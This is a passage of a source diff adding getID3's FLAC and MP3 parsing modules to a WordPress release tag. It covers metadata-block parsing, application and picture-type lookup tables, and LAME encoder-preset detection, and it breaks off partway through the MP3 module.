+					if (!$this->parseVORBIS_COMMENT($BlockTypeText_raw['block_data'])) {
+						return false;
+					}
+					break;
+
+				case 'CUESHEET':       // 0x05
+					if (!$this->parseCUESHEET($BlockTypeText_raw['block_data'])) {
+						return false;
+					}
+					break;
+
+				case 'PICTURE':        // 0x06
+					if (!$this->parsePICTURE()) {
+						return false;
+					}
+					break;
+
+				default:
+					$this->warning('Unhandled METADATA_BLOCK_HEADER.BLOCK_TYPE ('.$BlockType.') at offset '.$BlockOffset);
+			}
+
+			unset($info['flac'][$BlockTypeText]['raw']);
+			$info['avdataoffset'] = $this->ftell();
+		}
+		while ($LastBlockFlag === false);
+
+		// handle tags
+		if (!empty($info['flac']['VORBIS_COMMENT']['comments'])) {
+			$info['flac']['comments'] = $info['flac']['VORBIS_COMMENT']['comments'];
+		}
+		if (!empty($info['flac']['VORBIS_COMMENT']['vendor'])) {
+			$info['audio']['encoder'] = str_replace('reference ', '', $info['flac']['VORBIS_COMMENT']['vendor']);
+		}
+
+		// copy attachments to 'comments' array if nesesary
+		if (isset($info['flac']['PICTURE']) && ($this->getid3->option_save_attachments !== getID3::ATTACHMENTS_NONE)) {
+			foreach ($info['flac']['PICTURE'] as $entry) {
+				if (!empty($entry['data'])) {
+					$info['flac']['comments']['picture'][] = array('image_mime'=>$entry['image_mime'], 'data'=>$entry['data']);
+				}
+			}
+		}
+
+		if (isset($info['flac']['STREAMINFO'])) {
+			if (!$this->isDependencyFor('matroska')) {
+				$info['flac']['compressed_audio_bytes'] = $info['avdataend'] - $info['avdataoffset'];
+			}
+			$info['flac']['uncompressed_audio_bytes'] = $info['flac']['STREAMINFO']['samples_stream'] * $info['flac']['STREAMINFO']['channels'] * ($info['flac']['STREAMINFO']['bits_per_sample'] / 8);
+			if ($info['flac']['uncompressed_audio_bytes'] == 0) {
+				return $this->error('Corrupt FLAC file: uncompressed_audio_bytes == zero');
+			}
+			if (!empty($info['flac']['compressed_audio_bytes'])) {
+				$info['flac']['compression_ratio'] = $info['flac']['compressed_audio_bytes'] / $info['flac']['uncompressed_audio_bytes'];
+			}
+		}
+
+		// set md5_data_source - built into flac 0.5+
+		if (isset($info['flac']['STREAMINFO']['audio_signature'])) {
+
+			if ($info['flac']['STREAMINFO']['audio_signature'] === str_repeat("\x00", 16)) {
+                $this->warning('FLAC STREAMINFO.audio_signature is null (known issue with libOggFLAC)');
+			}
+			else {
+				$info['md5_data_source'] = '';
+				$md5 = $info['flac']['STREAMINFO']['audio_signature'];
+				for ($i = 0; $i < strlen($md5); $i++) {
+					$info['md5_data_source'] .= str_pad(dechex(ord($md5[$i])), 2, '00', STR_PAD_LEFT);
+				}
+				if (!preg_match('/^[0-9a-f]{32}$/', $info['md5_data_source'])) {
+					unset($info['md5_data_source']);
+				}
+			}
+		}
+
+		if (isset($info['flac']['STREAMINFO']['bits_per_sample'])) {
+			$info['audio']['bits_per_sample'] = $info['flac']['STREAMINFO']['bits_per_sample'];
+			if ($info['audio']['bits_per_sample'] == 8) {
+				// special case
+				// must invert sign bit on all data bytes before MD5'ing to match FLAC's calculated value
+				// MD5sum calculates on unsigned bytes, but FLAC calculated MD5 on 8-bit audio data as signed
+				$this->warning('FLAC calculates MD5 data strangely on 8-bit audio, so the stored md5_data_source value will not match the decoded WAV file');
+			}
+		}
+
+		return true;
+	}
+
+	private function parseSTREAMINFO($BlockData) {
+		$info = &$this->getid3->info;
+
+		$info['flac']['STREAMINFO'] = array();
+		$streaminfo = &$info['flac']['STREAMINFO'];
+
+		$streaminfo['min_block_size']  = getid3_lib::BigEndian2Int(substr($BlockData, 0, 2));
+		$streaminfo['max_block_size']  = getid3_lib::BigEndian2Int(substr($BlockData, 2, 2));
+		$streaminfo['min_frame_size']  = getid3_lib::BigEndian2Int(substr($BlockData, 4, 3));
+		$streaminfo['max_frame_size']  = getid3_lib::BigEndian2Int(substr($BlockData, 7, 3));
+
+		$SRCSBSS                       = getid3_lib::BigEndian2Bin(substr($BlockData, 10, 8));
+		$streaminfo['sample_rate']     = getid3_lib::Bin2Dec(substr($SRCSBSS,  0, 20));
+		$streaminfo['channels']        = getid3_lib::Bin2Dec(substr($SRCSBSS, 20,  3)) + 1;
+		$streaminfo['bits_per_sample'] = getid3_lib::Bin2Dec(substr($SRCSBSS, 23,  5)) + 1;
+		$streaminfo['samples_stream']  = getid3_lib::Bin2Dec(substr($SRCSBSS, 28, 36));
+
+		$streaminfo['audio_signature'] = substr($BlockData, 18, 16);
+
+		if (!empty($streaminfo['sample_rate'])) {
+
+			$info['audio']['bitrate_mode']    = 'vbr';
+			$info['audio']['sample_rate']     = $streaminfo['sample_rate'];
+			$info['audio']['channels']        = $streaminfo['channels'];
+			$info['audio']['bits_per_sample'] = $streaminfo['bits_per_sample'];
+			$info['playtime_seconds']         = $streaminfo['samples_stream'] / $streaminfo['sample_rate'];
+			if ($info['playtime_seconds'] > 0) {
+				if (!$this->isDependencyFor('matroska')) {
+					$info['audio']['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds'];
+				}
+				else {
+					$this->warning('Cannot determine audio bitrate because total stream size is unknown');
+				}
+			}
+
+		} else {
+			return $this->error('Corrupt METAdata block: STREAMINFO');
+		}
+
+		return true;
+	}
+
+	private function parseAPPLICATION($BlockData) {
+		$info = &$this->getid3->info;
+
+		$ApplicationID = getid3_lib::BigEndian2Int(substr($BlockData, 0, 4));
+		$info['flac']['APPLICATION'][$ApplicationID]['name'] = self::applicationIDLookup($ApplicationID);
+		$info['flac']['APPLICATION'][$ApplicationID]['data'] = substr($BlockData, 4);
+
+		return true;
+	}
+
+	private function parseSEEKTABLE($BlockData) {
+		$info = &$this->getid3->info;
+
+		$offset = 0;
+		$BlockLength = strlen($BlockData);
+		$placeholderpattern = str_repeat("\xFF", 8);
+		while ($offset < $BlockLength) {
+			$SampleNumberString = substr($BlockData, $offset, 8);
+			$offset += 8;
+			if ($SampleNumberString == $placeholderpattern) {
+
+				// placeholder point
+				getid3_lib::safe_inc($info['flac']['SEEKTABLE']['placeholders'], 1);
+				$offset += 10;
+
+			} else {
+
+				$SampleNumber                                        = getid3_lib::BigEndian2Int($SampleNumberString);
+				$info['flac']['SEEKTABLE'][$SampleNumber]['offset']  = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8));
+				$offset += 8;
+				$info['flac']['SEEKTABLE'][$SampleNumber]['samples'] = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 2));
+				$offset += 2;
+
+			}
+		}
+
+		return true;
+	}
+
+	private function parseVORBIS_COMMENT($BlockData) {
+		$info = &$this->getid3->info;
+
+		$getid3_ogg = new getid3_ogg($this->getid3);
+		if ($this->isDependencyFor('matroska')) {
+			$getid3_ogg->setStringMode($this->data_string);
+		}
+		$getid3_ogg->ParseVorbisComments();
+		if (isset($info['ogg'])) {
+			unset($info['ogg']['comments_raw']);
+			$info['flac']['VORBIS_COMMENT'] = $info['ogg'];
+			unset($info['ogg']);
+		}
+
+		unset($getid3_ogg);
+
+		return true;
+	}
+
+	private function parseCUESHEET($BlockData) {
+		$info = &$this->getid3->info;
+		$offset = 0;
+		$info['flac']['CUESHEET']['media_catalog_number'] =                              trim(substr($BlockData, $offset, 128), "\0");
+		$offset += 128;
+		$info['flac']['CUESHEET']['lead_in_samples']      =         getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8));
+		$offset += 8;
+		$info['flac']['CUESHEET']['flags']['is_cd']       = (bool) (getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1)) & 0x80);
+		$offset += 1;
+
+		$offset += 258; // reserved
+
+		$info['flac']['CUESHEET']['number_tracks']        =         getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
+		$offset += 1;
+
+		for ($track = 0; $track < $info['flac']['CUESHEET']['number_tracks']; $track++) {
+			$TrackSampleOffset = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8));
+			$offset += 8;
+			$TrackNumber       = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
+			$offset += 1;
+
+			$info['flac']['CUESHEET']['tracks'][$TrackNumber]['sample_offset']         = $TrackSampleOffset;
+
+			$info['flac']['CUESHEET']['tracks'][$TrackNumber]['isrc']                  =                           substr($BlockData, $offset, 12);
+			$offset += 12;
+
+			$TrackFlagsRaw                                                             = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
+			$offset += 1;
+			$info['flac']['CUESHEET']['tracks'][$TrackNumber]['flags']['is_audio']     = (bool) ($TrackFlagsRaw & 0x80);
+			$info['flac']['CUESHEET']['tracks'][$TrackNumber]['flags']['pre_emphasis'] = (bool) ($TrackFlagsRaw & 0x40);
+
+			$offset += 13; // reserved
+
+			$info['flac']['CUESHEET']['tracks'][$TrackNumber]['index_points']          = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
+			$offset += 1;
+
+			for ($index = 0; $index < $info['flac']['CUESHEET']['tracks'][$TrackNumber]['index_points']; $index++) {
+				$IndexSampleOffset = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 8));
+				$offset += 8;
+				$IndexNumber       = getid3_lib::BigEndian2Int(substr($BlockData, $offset, 1));
+				$offset += 1;
+
+				$offset += 3; // reserved
+
+				$info['flac']['CUESHEET']['tracks'][$TrackNumber]['indexes'][$IndexNumber] = $IndexSampleOffset;
+			}
+		}
+
+		return true;
+	}
+
+	/**
+	* Parse METADATA_BLOCK_PICTURE flac structure and extract attachment
+	* External usage: audio.ogg
+	*/
+	public function parsePICTURE() {
+		$info = &$this->getid3->info;
+
+		$picture['typeid']         = getid3_lib::BigEndian2Int($this->fread(4));
+		$picture['type']           = self::pictureTypeLookup($picture['typeid']);
+		$picture['image_mime']     = $this->fread(getid3_lib::BigEndian2Int($this->fread(4)));
+		$descr_length              = getid3_lib::BigEndian2Int($this->fread(4));
+		if ($descr_length) {
+			$picture['description'] = $this->fread($descr_length);
+		}
+		$picture['width']          = getid3_lib::BigEndian2Int($this->fread(4));
+		$picture['height']         = getid3_lib::BigEndian2Int($this->fread(4));
+		$picture['color_depth']    = getid3_lib::BigEndian2Int($this->fread(4));
+		$picture['colors_indexed'] = getid3_lib::BigEndian2Int($this->fread(4));
+		$data_length               = getid3_lib::BigEndian2Int($this->fread(4));
+
+		if ($picture['image_mime'] == '-->') {
+			$picture['data'] = $this->fread($data_length);
+		} else {
+			$picture['data'] = $this->saveAttachment(
+				str_replace('/', '_', $picture['type']).'_'.$this->ftell(),
+				$this->ftell(),
+				$data_length,
+				$picture['image_mime']);
+		}
+
+		$info['flac']['PICTURE'][] = $picture;
+
+		return true;
+	}
+
+	public static function metaBlockTypeLookup($blocktype) {
+		static $lookup = array(
+			0 => 'STREAMINFO',
+			1 => 'PADDING',
+			2 => 'APPLICATION',
+			3 => 'SEEKTABLE',
+			4 => 'VORBIS_COMMENT',
+			5 => 'CUESHEET',
+			6 => 'PICTURE',
+		);
+		return (isset($lookup[$blocktype]) ? $lookup[$blocktype] : 'reserved');
+	}
+
+	public static function applicationIDLookup($applicationid) {
+		// http://flac.sourceforge.net/id.html
+		static $lookup = array(
+			0x41544348 => 'FlacFile',                                                                           // "ATCH"
+			0x42534F4C => 'beSolo',                                                                             // "BSOL"
+			0x42554753 => 'Bugs Player',                                                                        // "BUGS"
+			0x43756573 => 'GoldWave cue points (specification)',                                                // "Cues"
+			0x46696361 => 'CUE Splitter',                                                                       // "Fica"
+			0x46746F6C => 'flac-tools',                                                                         // "Ftol"
+			0x4D4F5442 => 'MOTB MetaCzar',                                                                      // "MOTB"
+			0x4D505345 => 'MP3 Stream Editor',                                                                  // "MPSE"
+			0x4D754D4C => 'MusicML: Music Metadata Language',                                                   // "MuML"
+			0x52494646 => 'Sound Devices RIFF chunk storage',                                                   // "RIFF"
+			0x5346464C => 'Sound Font FLAC',                                                                    // "SFFL"
+			0x534F4E59 => 'Sony Creative Software',                                                             // "SONY"
+			0x5351455A => 'flacsqueeze',                                                                        // "SQEZ"
+			0x54745776 => 'TwistedWave',                                                                        // "TtWv"
+			0x55495453 => 'UITS Embedding tools',                                                               // "UITS"
+			0x61696666 => 'FLAC AIFF chunk storage',                                                            // "aiff"
+			0x696D6167 => 'flac-image application for storing arbitrary files in APPLICATION metadata blocks',  // "imag"
+			0x7065656D => 'Parseable Embedded Extensible Metadata (specification)',                             // "peem"
+			0x71667374 => 'QFLAC Studio',                                                                       // "qfst"
+			0x72696666 => 'FLAC RIFF chunk storage',                                                            // "riff"
+			0x74756E65 => 'TagTuner',                                                                           // "tune"
+			0x78626174 => 'XBAT',                                                                               // "xbat"
+			0x786D6364 => 'xmcd',                                                                               // "xmcd"
+		);
+		return (isset($lookup[$applicationid]) ? $lookup[$applicationid] : 'reserved');
+	}
+
+	public static function pictureTypeLookup($type_id) {
+		static $lookup = array (
+			 0 => 'Other',
+			 1 => '32x32 pixels \'file icon\' (PNG only)',
+			 2 => 'Other file icon',
+			 3 => 'Cover (front)',
+			 4 => 'Cover (back)',
+			 5 => 'Leaflet page',
+			 6 => 'Media (e.g. label side of CD)',
+			 7 => 'Lead artist/lead performer/soloist',
+			 8 => 'Artist/performer',
+			 9 => 'Conductor',
+			10 => 'Band/Orchestra',
+			11 => 'Composer',
+			12 => 'Lyricist/text writer',
+			13 => 'Recording Location',
+			14 => 'During recording',
+			15 => 'During performance',
+			16 => 'Movie/video screen capture',
+			17 => 'A bright coloured fish',
+			18 => 'Illustration',
+			19 => 'Band/artist logotype',
+			20 => 'Publisher/Studio logotype',
+		);
+		return (isset($lookup[$type_id]) ? $lookup[$type_id] : 'reserved');
+	}
+
+}
Index: /tags/4.1.6/src/wp-includes/ID3/module.audio.mp3.php
===================================================================
--- /tags/4.1.6/src/wp-includes/ID3/module.audio.mp3.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/ID3/module.audio.mp3.php	(revision 33402)
@@ -0,0 +1,2012 @@
+<?php
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+//          also https://github.com/JamesHeinrich/getID3       //
+/////////////////////////////////////////////////////////////////
+// See readme.txt for more details                             //
+/////////////////////////////////////////////////////////////////
+//                                                             //
+// module.audio.mp3.php                                        //
+// module for analyzing MP3 files                              //
+// dependencies: NONE                                          //
+//                                                            ///
+/////////////////////////////////////////////////////////////////
+
+
+// number of frames to scan to determine if MPEG-audio sequence is valid
+// Lower this number to 5-20 for faster scanning
+// Increase this number to 50+ for most accurate detection of valid VBR/CBR
+// mpeg-audio streams
+define('GETID3_MP3_VALID_CHECK_FRAMES', 35);
+
+
+class getid3_mp3 extends getid3_handler
+{
+
+	public $allow_bruteforce = false; // forces getID3() to scan the file byte-by-byte and log all the valid audio frame headers - extremely slow, unrecommended, but may provide data from otherwise-unusuable files
+
+	public function Analyze() {
+		$info = &$this->getid3->info;
+
+		$initialOffset = $info['avdataoffset'];
+
+		if (!$this->getOnlyMPEGaudioInfo($info['avdataoffset'])) {
+			if ($this->allow_bruteforce) {
+				$info['error'][] = 'Rescanning file in BruteForce mode';
+				$this->getOnlyMPEGaudioInfoBruteForce($this->getid3->fp, $info);
+			}
+		}
+
+
+		if (isset($info['mpeg']['audio']['bitrate_mode'])) {
+			$info['audio']['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']);
+		}
+
+		if (((isset($info['id3v2']['headerlength']) && ($info['avdataoffset'] > $info['id3v2']['headerlength'])) || (!isset($info['id3v2']) && ($info['avdataoffset'] > 0) && ($info['avdataoffset'] != $initialOffset)))) {
+
+			$synchoffsetwarning = 'Unknown data before synch ';
+			if (isset($info['id3v2']['headerlength'])) {
+				$synchoffsetwarning .= '(ID3v2 header ends at '.$info['id3v2']['headerlength'].', then '.($info['avdataoffset'] - $info['id3v2']['headerlength']).' bytes garbage, ';
+			} elseif ($initialOffset > 0) {
+				$synchoffsetwarning .= '(should be at '.$initialOffset.', ';
+			} else {
+				$synchoffsetwarning .= '(should be at beginning of file, ';
+			}
+			$synchoffsetwarning .= 'synch detected at '.$info['avdataoffset'].')';
+			if (isset($info['audio']['bitrate_mode']) && ($info['audio']['bitrate_mode'] == 'cbr')) {
+
+				if (!empty($info['id3v2']['headerlength']) && (($info['avdataoffset'] - $info['id3v2']['headerlength']) == $info['mpeg']['audio']['framelength'])) {
+
+					$synchoffsetwarning .= '. This is a known problem with some versions of LAME (3.90-3.92) DLL in CBR mode.';
+					$info['audio']['codec'] = 'LAME';
+					$CurrentDataLAMEversionString = 'LAME3.';
+
+				} elseif (empty($info['id3v2']['headerlength']) && ($info['avdataoffset'] == $info['mpeg']['audio']['framelength'])) {
+
+					$synchoffsetwarning .= '. This is a known problem with some versions of LAME (3.90 - 3.92) DLL in CBR mode.';
+					$info['audio']['codec'] = 'LAME';
+					$CurrentDataLAMEversionString = 'LAME3.';
+
+				}
+
+			}
+			$info['warning'][] = $synchoffsetwarning;
+
+		}
+
+		if (isset($info['mpeg']['audio']['LAME'])) {
+			$info['audio']['codec'] = 'LAME';
+			if (!empty($info['mpeg']['audio']['LAME']['long_version'])) {
+				$info['audio']['encoder'] = rtrim($info['mpeg']['audio']['LAME']['long_version'], "\x00");
+			} elseif (!empty($info['mpeg']['audio']['LAME']['short_version'])) {
+				$info['audio']['encoder'] = rtrim($info['mpeg']['audio']['LAME']['short_version'], "\x00");
+			}
+		}
+
+		$CurrentDataLAMEversionString = (!empty($CurrentDataLAMEversionString) ? $CurrentDataLAMEversionString : (isset($info['audio']['encoder']) ? $info['audio']['encoder'] : ''));
+		if (!empty($CurrentDataLAMEversionString) && (substr($CurrentDataLAMEversionString, 0, 6) == 'LAME3.') && !preg_match('[0-9\)]', substr($CurrentDataLAMEversionString, -1))) {
+			// a version number of LAME that does not end with a number like "LAME3.92"
+			// or with a closing parenthesis like "LAME3.88 (alpha)"
+			// or a version of LAME with the LAMEtag-not-filled-in-DLL-mode bug (3.90-3.92)
+
+			// not sure what the actual last frame length will be, but will be less than or equal to 1441
+			$PossiblyLongerLAMEversion_FrameLength = 1441;
+
+			// Not sure what version of LAME this is - look in padding of last frame for longer version string
+			$PossibleLAMEversionStringOffset = $info['avdataend'] - $PossiblyLongerLAMEversion_FrameLength;
+			$this->fseek($PossibleLAMEversionStringOffset);
+			$PossiblyLongerLAMEversion_Data = $this->fread($PossiblyLongerLAMEversion_FrameLength);
+			switch (substr($CurrentDataLAMEversionString, -1)) {
+				case 'a':
+				case 'b':
+					// "LAME3.94a" will have a longer version string of "LAME3.94 (alpha)" for example
+					// need to trim off "a" to match longer string
+					$CurrentDataLAMEversionString = substr($CurrentDataLAMEversionString, 0, -1);
+					break;
+			}
+			if (($PossiblyLongerLAMEversion_String = strstr($PossiblyLongerLAMEversion_Data, $CurrentDataLAMEversionString)) !== false) {
+				if (substr($PossiblyLongerLAMEversion_String, 0, strlen($CurrentDataLAMEversionString)) == $CurrentDataLAMEversionString) {
+					$PossiblyLongerLAMEversion_NewString = substr($PossiblyLongerLAMEversion_String, 0, strspn($PossiblyLongerLAMEversion_String, 'LAME0123456789., (abcdefghijklmnopqrstuvwxyzJFSOND)')); //"LAME3.90.3"  "LAME3.87 (beta 1, Sep 27 2000)" "LAME3.88 (beta)"
+					if (empty($info['audio']['encoder']) || (strlen($PossiblyLongerLAMEversion_NewString) > strlen($info['audio']['encoder']))) {
+						$info['audio']['encoder'] = $PossiblyLongerLAMEversion_NewString;
+					}
+				}
+			}
+		}
+		if (!empty($info['audio']['encoder'])) {
+			$info['audio']['encoder'] = rtrim($info['audio']['encoder'], "\x00 ");
+		}
+
+		switch (isset($info['mpeg']['audio']['layer']) ? $info['mpeg']['audio']['layer'] : '') {
+			case 1:
+			case 2:
+				$info['audio']['dataformat'] = 'mp'.$info['mpeg']['audio']['layer'];
+				break;
+		}
+		if (isset($info['fileformat']) && ($info['fileformat'] == 'mp3')) {
+			switch ($info['audio']['dataformat']) {
+				case 'mp1':
+				case 'mp2':
+				case 'mp3':
+					$info['fileformat'] = $info['audio']['dataformat'];
+					break;
+
+				default:
+					$info['warning'][] = 'Expecting [audio][dataformat] to be mp1/mp2/mp3 when fileformat == mp3, [audio][dataformat] actually "'.$info['audio']['dataformat'].'"';
+					break;
+			}
+		}
+
+		if (empty($info['fileformat'])) {
+			unset($info['fileformat']);
+			unset($info['audio']['bitrate_mode']);
+			unset($info['avdataoffset']);
+			unset($info['avdataend']);
+			return false;
+		}
+
+		$info['mime_type']         = 'audio/mpeg';
+		$info['audio']['lossless'] = false;
+
+		// Calculate playtime
+		if (!isset($info['playtime_seconds']) && isset($info['audio']['bitrate']) && ($info['audio']['bitrate'] > 0)) {
+			$info['playtime_seconds'] = ($info['avdataend'] - $info['avdataoffset']) * 8 / $info['audio']['bitrate'];
+		}
+
+		$info['audio']['encoder_options'] = $this->GuessEncoderOptions();
+
+		return true;
+	}
+
+
+	public function GuessEncoderOptions() {
+		// shortcuts
+		$info = &$this->getid3->info;
+		if (!empty($info['mpeg']['audio'])) {
+			$thisfile_mpeg_audio = &$info['mpeg']['audio'];
+			if (!empty($thisfile_mpeg_audio['LAME'])) {
+				$thisfile_mpeg_audio_lame = &$thisfile_mpeg_audio['LAME'];
+			}
+		}
+
+		$encoder_options = '';
+		static $NamedPresetBitrates = array(16, 24, 40, 56, 112, 128, 160, 192, 256);
+
+		if (isset($thisfile_mpeg_audio['VBR_method']) && ($thisfile_mpeg_audio['VBR_method'] == 'Fraunhofer') && !empty($thisfile_mpeg_audio['VBR_quality'])) {
+
+			$encoder_options = 'VBR q'.$thisfile_mpeg_audio['VBR_quality'];
+
+		} elseif (!empty($thisfile_mpeg_audio_lame['preset_used']) && (!in_array($thisfile_mpeg_audio_lame['preset_used_id'], $NamedPresetBitrates))) {
+
+			$encoder_options = $thisfile_mpeg_audio_lame['preset_used'];
+
+		} elseif (!empty($thisfile_mpeg_audio_lame['vbr_quality'])) {
+
+			static $KnownEncoderValues = array();
+			if (empty($KnownEncoderValues)) {
+
+				//$KnownEncoderValues[abrbitrate_minbitrate][vbr_quality][raw_vbr_method][raw_noise_shaping][raw_stereo_mode][ath_type][lowpass_frequency] = 'preset name';
+				$KnownEncoderValues[0xFF][58][1][1][3][2][20500] = '--alt-preset insane';        // 3.90,   3.90.1, 3.92
+				$KnownEncoderValues[0xFF][58][1][1][3][2][20600] = '--alt-preset insane';        // 3.90.2, 3.90.3, 3.91
+				$KnownEncoderValues[0xFF][57][1][1][3][4][20500] = '--alt-preset insane';        // 3.94,   3.95
+				$KnownEncoderValues['**'][78][3][2][3][2][19500] = '--alt-preset extreme';       // 3.90,   3.90.1, 3.92
+				$KnownEncoderValues['**'][78][3][2][3][2][19600] = '--alt-preset extreme';       // 3.90.2, 3.91
+				$KnownEncoderValues['**'][78][3][1][3][2][19600] = '--alt-preset extreme';       // 3.90.3
+				$KnownEncoderValues['**'][78][4][2][3][2][19500] = '--alt-preset fast extreme';  // 3.90,   3.90.1, 3.92
+				$KnownEncoderValues['**'][78][4][2][3][2][19600] = '--alt-preset fast extreme';  // 3.90.2, 3.90.3, 3.91
+				$KnownEncoderValues['**'][78][3][2][3][4][19000] = '--alt-preset standard';      // 3.90,   3.90.1, 3.90.2, 3.91, 3.92
+				$KnownEncoderValues['**'][78][3][1][3][4][19000] = '--alt-preset standard';      // 3.90.3
+				$KnownEncoderValues['**'][78][4][2][3][4][19000] = '--alt-preset fast standard'; // 3.90,   3.90.1, 3.90.2, 3.91, 3.92
+				$KnownEncoderValues['**'][78][4][1][3][4][19000] = '--alt-preset fast standard'; // 3.90.3
+				$KnownEncoderValues['**'][88][4][1][3][3][19500] = '--r3mix';                    // 3.90,   3.90.1, 3.92
+				$KnownEncoderValues['**'][88][4][1][3][3][19600] = '--r3mix';                    // 3.90.2, 3.90.3, 3.91
+				$KnownEncoderValues['**'][67][4][1][3][4][18000] = '--r3mix';                    // 3.94,   3.95
+				$KnownEncoderValues['**'][68][3][2][3][4][18000] = '--alt-preset medium';        // 3.90.3
+				$KnownEncoderValues['**'][68][4][2][3][4][18000] = '--alt-preset fast medium';   // 3.90.3
+
+				$KnownEncoderValues[0xFF][99][1][1][1][2][0]     = '--preset studio';            // 3.90,   3.90.1, 3.90.2, 3.91, 3.92
+				$KnownEncoderValues[0xFF][58][2][1][3][2][20600] = '--preset studio';            // 3.90.3, 3.93.1
+				$KnownEncoderValues[0xFF][58][2][1][3][2][20500] = '--preset studio';            // 3.93
+				$KnownEncoderValues[0xFF][57][2][1][3][4][20500] = '--preset studio';            // 3.94,   3.95
+				$KnownEncoderValues[0xC0][88][1][1][1][2][0]     = '--preset cd';                // 3.90,   3.90.1, 3.90.2,   3.91, 3.92
+				$KnownEncoderValues[0xC0][58][2][2][3][2][19600] = '--preset cd';                // 3.90.3, 3.93.1
+				$KnownEncoderValues[0xC0][58][2][2][3][2][19500] = '--preset cd';                // 3.93
+				$KnownEncoderValues[0xC0][57][2][1][3][4][19500] = '--preset cd';                // 3.94,   3.95
+				$KnownEncoderValues[0xA0][78][1][1][3][2][18000] = '--preset hifi';              // 3.90,   3.90.1, 3.90.2,   3.91, 3.92
+				$KnownEncoderValues[0xA0][58][2][2][3][2][18000] = '--preset hifi';              // 3.90.3, 3.93,   3.93.1
+				$KnownEncoderValues[0xA0][57][2][1][3][4][18000] = '--preset hifi';              // 3.94,   3.95
+				$KnownEncoderValues[0x80][67][1][1][3][2][18000] = '--preset tape';              // 3.90,   3.90.1, 3.90.2,   3.91, 3.92
+				$KnownEncoderValues[0x80][67][1][1][3][2][15000] = '--preset radio';             // 3.90,   3.90.1, 3.90.2,   3.91, 3.92
+				$KnownEncoderValues[0x70][67][1][1][3][2][15000] = '--preset fm';                // 3.90,   3.90.1, 3.90.2,   3.91, 3.92
+				$KnownEncoderValues[0x70][58][2][2][3][2][16000] = '--preset tape/radio/fm';     // 3.90.3, 3.93,   3.93.1
+				$KnownEncoderValues[0x70][57][2][1][3][4][16000] = '--preset tape/radio/fm';     // 3.94,   3.95
+				$KnownEncoderValues[0x38][58][2][2][0][2][10000] = '--preset voice';             // 3.90.3, 3.93,   3.93.1
+				$KnownEncoderValues[0x38][57][2][1][0][4][15000] = '--preset voice';             // 3.94,   3.95
+				$KnownEncoderValues[0x38][57][2][1][0][4][16000] = '--preset voice';             // 3.94a14
+				$KnownEncoderValues[0x28][65][1][1][0][2][7500]  = '--preset mw-us';             // 3.90,   3.90.1, 3.92
+				$KnownEncoderValues[0x28][65][1][1][0][2][7600]  = '--preset mw-us';             // 3.90.2, 3.91
+				$KnownEncoderValues[0x28][58][2][2][0][2][7000]  = '--preset mw-us';             // 3.90.3, 3.93,   3.93.1
+				$KnownEncoderValues[0x28][57][2][1][0][4][10500] = '--preset mw-us';             // 3.94,   3.95
+				$KnownEncoderValues[0x28][57][2][1][0][4][11200] = '--preset mw-us';             // 3.94a14
+				$KnownEncoderValues[0x28][57][2][1][0][4][8800]  = '--preset mw-us';             // 3.94a15
+				$KnownEncoderValues[0x18][58][2][2][0][2][4000]  = '--preset phon+/lw/mw-eu/sw'; // 3.90.3, 3.93.1
+				$KnownEncoderValues[0x18][58][2][2][0][2][3900]  = '--preset phon+/lw/mw-eu/sw'; // 3.93
+				$KnownEncoderValues[0x18][57][2][1][0][4][5900]  = '--preset phon+/lw/mw-eu/sw'; // 3.94,   3.95
+				$KnownEncoderValues[0x18][57][2][1][0][4][6200]  = '--preset phon+/lw/mw-eu/sw'; // 3.94a14
+				$KnownEncoderValues[0x18][57][2][1][0][4][3200]  = '--preset phon+/lw/mw-eu/sw'; // 3.94a15
+				$KnownEncoderValues[0x10][58][2][2][0][2][3800]  = '--preset phone';             // 3.90.3, 3.93.1
+				$KnownEncoderValues[0x10][58][2][2][0][2][3700]  = '--preset phone';             // 3.93
+				$KnownEncoderValues[0x10][57][2][1][0][4][5600]  = '--preset phone';             // 3.94,   3.95
+			}
+
+			if (isset($KnownEncoderValues[$thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate']][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']])) {
+
+				$encoder_options = $KnownEncoderValues[$thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate']][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']];
+
+			} elseif (isset($KnownEncoderValues['**'][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']])) {
+
+				$encoder_options = $KnownEncoderValues['**'][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']];
+
+			} elseif ($info['audio']['bitrate_mode'] == 'vbr') {
+
+				// http://gabriel.mp3-tech.org/mp3infotag.html
+				// int    Quality = (100 - 10 * gfp->VBR_q - gfp->quality)h
+
+
